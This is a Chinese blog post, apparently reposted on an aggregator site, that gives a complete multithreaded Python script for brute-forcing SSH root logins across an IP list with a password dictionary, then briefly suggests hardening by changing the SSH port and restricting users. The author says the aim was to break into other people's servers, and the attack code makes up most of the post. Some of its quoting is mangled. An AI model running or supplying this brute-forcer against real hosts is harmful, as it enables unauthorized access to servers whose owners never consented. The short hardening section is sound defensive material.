python多线程ssh爆破如何实现与防范?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python多线程ssh爆破如何实现与防范?相关的知识,希望对你有一定的参考价值。

本文和大家分享的主要是python多线程的ssh**与防范相关内容,一起来看看吧,希望对大家学习python多线程有所帮助。
0x01.About
这几天发现朋友的服务器22被人爆了,于是想想,也想去爆别人服务器。
爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程**ssh,支持ip表导入,字典数据导入。
主要使用到的是pythonparamiko模块和多线程threading模块。
那么,首先要准备的是字典dict、服务器ip表。
东西很简单,主要默认目录如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password
ippassword按照一行一个放置。
0x02.Code
下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split(’/n’)
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("/nIP => %s, Login %s => %s /n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split(’/n’)
for ip in ipText:
if ip != ’’:
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用说明:/n/
python ssh.scan.py ip_file_path dict_file_path ssh_log_path /n")
exit(1)
if __name__ == ’__main__’:
fpath = os.path.dirname(os.path.abspath(’__file__’))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
结果比较丑,自己爆自己服务器:
 
0x03.Solution
怎么办呢?防止被人**,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:
1.修改iptables
首先要过防火墙,修改防火墙规则:
/sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT
保存规则:
service iptables save
重启防火墙:
service iptables restart
2.修改ssh配置文件
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
修改ssh端口:
vim /etc/ssh/sshd_config
在端口#Port 22下面增加Port 2333
vim /etc/ssh/ssh_config
在端口#Port 22下面增加Port 2333
重启ssh服务:
service sshd restart
3.其他修改
限制用户的SSH访问
假设我们只要xiaocaohomeway用户能通过SSH使用系统,向sshd_config配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway
来源:杂术馆

以上是关于python多线程ssh爆破如何实现与防范?的主要内容,如果未能解决你的问题,请参考以下文章

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

Python攻防-暴力破解ZIP加密文件的密码

001-Shreder爆破工具

Python 开发 多线程爆破 21端口.(拿到账号和密码,成功登录)

kali下爆破工具 hydra 如何提速?单个 我这一分钟才30次 虽然只设置了5线程。

Python攻防-FTP服务与SSH登录暴力破解